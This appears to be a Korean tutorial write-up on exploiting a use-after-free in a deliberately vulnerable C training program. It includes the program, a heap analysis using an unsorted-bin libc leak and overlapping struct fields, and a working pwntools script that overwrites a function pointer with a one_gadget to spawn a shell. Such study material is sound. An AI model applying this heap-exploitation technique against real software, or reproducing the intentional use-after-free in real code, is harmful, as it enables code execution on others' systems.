Use After Free ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์ œ

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
  char name[16];
  int weight;
  long age;
};
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}
void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}
void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}
int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}
int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}
 

1. ๋ถ„์„ ๋ฐ ์„ค๊ณ„

๋ถ„์„

๋ณดํ˜ธ ๊ธฐ๋ฒ• ๐Ÿ›ก๏ธ

์œ„์˜ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผ ํ•œ ๋’ค checksec๋กœ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ์ถœ๋ ฅํ•ด์ฃผ์—ˆ๋‹ค.

๋ชจ๋“  ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

Full RELRO์ด๊ธฐ ๋•Œ๋ฌธ์— GOT๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ณต๊ฒฉ์€ ์–ด๋ ต๋‹ค.

โ€‹

โ€‹

์ฝ”๋“œ ๋ถ„์„ ๐Ÿ”Ž

struct Human {
  char name[16];
  int weight;
  long age;
};
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};
(); };

ํฌ๊ธฐ๊ฐ€ ๊ฐ™์€ Human, Robot ๊ตฌ์กฐ์ฒด๊ฐ€ ์ •์˜๋˜์–ด ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ฐ ๊ตฌ์กฐ์ฒด ๋ณ€์ˆ˜ ๋˜๋Š” ์›ํ•˜๋Š” ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ํ•ด์ œํ•  ์ˆ˜ ์žˆ๋‹ค.

โ€‹

โ€‹

 

 
void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}
void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

human_func ํ•จ์ˆ˜์™€ robot_func ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด, ํ•ด์ œ ํ›„ ํ• ๋‹นํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ์ดˆ๊ธฐํ™” ํ•˜์ง€ ์•Š์€ ๊ฑธ

ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. Human ๊ตฌ์กฐ์ฒด์™€ Robot ๊ตฌ์กฐ์ฒด์˜ ํฌ๊ธฐ๋Š” ๊ฐ™๊ธฐ ๋•Œ๋ฌธ์— ํ•œ ๊ตฌ์กฐ์ฒด๋ฅผ ํ•ด์ œํ•˜๊ณ  ๋‹ค๋ฅธ ๊ตฌ์กฐ์ฒด๋ฅผ ํ• ๋‹นํ•˜๋ฉด ํ•ด์ œ๋œ ๊ตฌ์กฐ์ฒด์˜ ๊ฐ’์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” Use After Free๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

โ€‹

robot_func์—์„œ Robot๋ณ€์ˆ˜์˜ fptr์ด NULL์ด ์•„๋‹ˆ๋ฉด ์ด๋ฅผ ํ˜ธ์ถœํ•ด์ฃผ๋ฏ€๋กœ, Use After Free๋กœ ์ด ๋ณ€์ˆ˜์— ์›ํ•˜๋Š” ๊ฐ’์„ ๋‚จ๊ธฐ๋ฉด ์‹คํ–‰ ํ๋ฆ„์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

โ€‹

 

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

custom_func ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด 0x100์ด์ƒ์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ–๋Š” ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ํ•ด์ œํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ํ•จ์ˆ˜์—์„œ๋„ ํ•ด์ œ ํ›„ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š์•„์„œ Use After Free๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

โ€‹

โ€‹

โ€‹

โ€‹

์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„

โ€‹

Robot.fptr์˜ ๊ฐ’์„ one_gadget์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์„œ ์…ธ์„ ํš๋“ํ•ด๋ณผ ๊ฒƒ์ด๋‹ค.

-> libc๊ฐ€ ๋งคํ•‘๋œ ์ฃผ์†Œ๋ฅผ ๋จผ์ € ๊ตฌํ•ด์•ผ ํ•œ๋‹ค.

โ€‹

1) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฆญ

Use After Free ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ libc๊ฐ€ ๋งคํ•‘๋œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์•ผํ•œ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด unsorted bin์˜ ํŠน์ง•์„ ์ด์šฉํ•ด๋ณด๊ณ ์ž ํ•œ๋‹ค.

โ€‹

unsorted bin์— ์ฒ˜์Œ ์—ฐ๊ฒฐ๋˜๋Š” ์ฒญํฌ๋Š” libc์˜ ํŠน์ • ์ฃผ์†Œ์™€ ์ด์ค‘ ์›ํ˜• ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ๋ฅผ ํ˜•์„ฑํ•œ๋‹ค.

โ–ถ ์ฒ˜์Œ unsorted bin์— ์—ฐ๊ฒฐ๋˜๋Š” ์ฒญํฌ์˜ fb์™€ bk์—๋Š” libc ๋‚ด๋ถ€์˜ ์ฃผ์†Œ๊ฐ€ ์“ฐ์ž„

โ€‹

์˜ˆ์ œ์˜ custom_func ํ•จ์ˆ˜๋Š” 0x100๋ฐ”์ดํŠธ ์ด์ƒ์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ–๋Š” ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๋ฏ€๋กœ, 0x410 ์ดํ•˜์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ–๋Š” ์ฒญํฌ๋Š” tcache์— ๋จผ์ € ์‚ฝ์ž…๋˜๋ฏ€๋กœ, ์ด๋ณด๋‹ค ํฐ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•ด์„œ unsorted bin์— ์—ฐ๊ฒฐํ•˜๊ณ , ์ด๋ฅผ ์žฌํ• ๋‹นํ•˜์—ฌ ๊ฐ’์„ ์ฝ์œผ๋ฉด libc๊ฐ€ ๋งคํ•‘๋œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

โ€‹

โ€ป ์—ฌ๊ธฐ์„œ ํ•ด์ œํ•  ์ฒญํฌ๊ฐ€ ํƒ‘ ์ฒญํฌ์™€ ๋งž๋‹ฟ์œผ๋ฉด ์•ˆ๋จ (unsorted bin์— ํฌํ•จ๋˜๋Š” ์ฒญํฌ์™€ ํƒ‘ ์ฒญํฌ๋Š” ๋ณ‘ํ•ฉ ๋Œ€์ƒ์ด๋ฏ€๋กœ, ์ด ๋‘˜์ด ๋งž๋‹ฟ์œผ๋ฉด ์ฒญํฌ๊ฐ€ ๋ณ‘ํ•ฉ๋œ๋‹ค.)

-> ์ฒญํฌ ๋‘ ๊ฐœ๋ฅผ ์—ฐ์†์œผ๋กœ ํ• ๋‹นํ•˜๊ณ , ์ฒ˜์Œ ํ• ๋‹นํ•œ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•ด์•ผ ํ•œ๋‹ค.

โ€‹

โ€‹

2) ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ฎ์–ด์“ฐ๊ธฐ

Human๊ณผ Robot์€ ๊ฐ™์€ ํฌ๊ธฐ์˜ ๊ตฌ์กฐ์ฒด - Human ๊ตฌ์กฐ์ฒด๊ฐ€ ํ•ด์ œ๋˜๊ณ  Robot๊ตฌ์กฐ์ฒด๊ฐ€ ํ• ๋‹น๋˜๋ฉด,

Robot์€ Human์ด ์‚ฌ์šฉํ–ˆ๋˜ ์˜์—ญ์„ ์žฌ์‚ฌ์šฉํ•จ

Robot์ด ํ• ๋‹น๋  ๋•Œ, ์‚ฌ์šฉํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ Human์— ์ž…๋ ฅํ•œ ๊ฐ’์€ ๊ทธ๋Œ€๋กœ ์žฌ์‚ฌ์šฉ๋จ

โ€‹

Human ๊ตฌ์กฐ์ฒด์˜ age๋Š” Robot ๊ตฌ์กฐ์ฒด์˜ fptr๊ณผ ์œ„์น˜๊ฐ€ ๊ฐ™๋‹ค.

-> human_func๋ฅผ ํ˜ธ์ถœํ–ˆ์„ ๋•Œ, age์— one_gadget ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•˜๊ณ , ์ด์–ด์„œ robot_func๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด

fptr์˜ ์œ„์น˜์— ๋‚จ์•„์žˆ๋Š” one_gadget์„ ํ˜ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

โ€‹

โ€‹

โ€‹

โ€‹

3. ์ต์Šคํ”Œ๋กœ์ž‡

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฆญ

custom_func๋ฅผ ์‚ฌ์šฉํ•ด์„œ 0x510์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ–๋Š” ์ฒญํฌ๋ฅผ ํ• ๋‹น, ํ•ด์ œํ•œ ๋’ค ๋‹ค์‹œ ํ• ๋‹นํ•ด์„œ libc ๋‚ด๋ถ€์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ๊ฒƒ์ด๋‹ค.

โ€‹

info proc map / vmma

libc ๋‚ด๋ถ€์˜ ์ฃผ์†Œ์™€ libc๊ฐ€ ๋งคํ•‘๋œ ์ฃผ์†Œ์˜ ์˜คํ”„์…‹์€ info proc map, vmmap์œผ๋กœ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

#!/usr/bin/python3
# Name: uaf_overwrite.py
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)

โ€‹

โ€‹

โ€‹

ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋ฎ์–ด์“ฐ๊ธฐ

human->age์™€ robot->fptr์ด ๊ตฌ์กฐ์ฒด ์ƒ์—์„œ ๊ฐ™์€ ์œ„์น˜์— ์žˆ์Œ์„ ์ด์šฉํ•˜๋ฉด,

Use After Free๋กœ robot->fptr์˜ ๊ฐ’์„ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

 
# Name: uaf_overwrite.py
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()

์•„๋ž˜์™€ ๊ฐ™์ด human_age์— one_gadget์˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•˜๊ณ , ํ•ด์ œํ•œ ๋’ค, robot_func๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")โ€‹
 
 

 

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!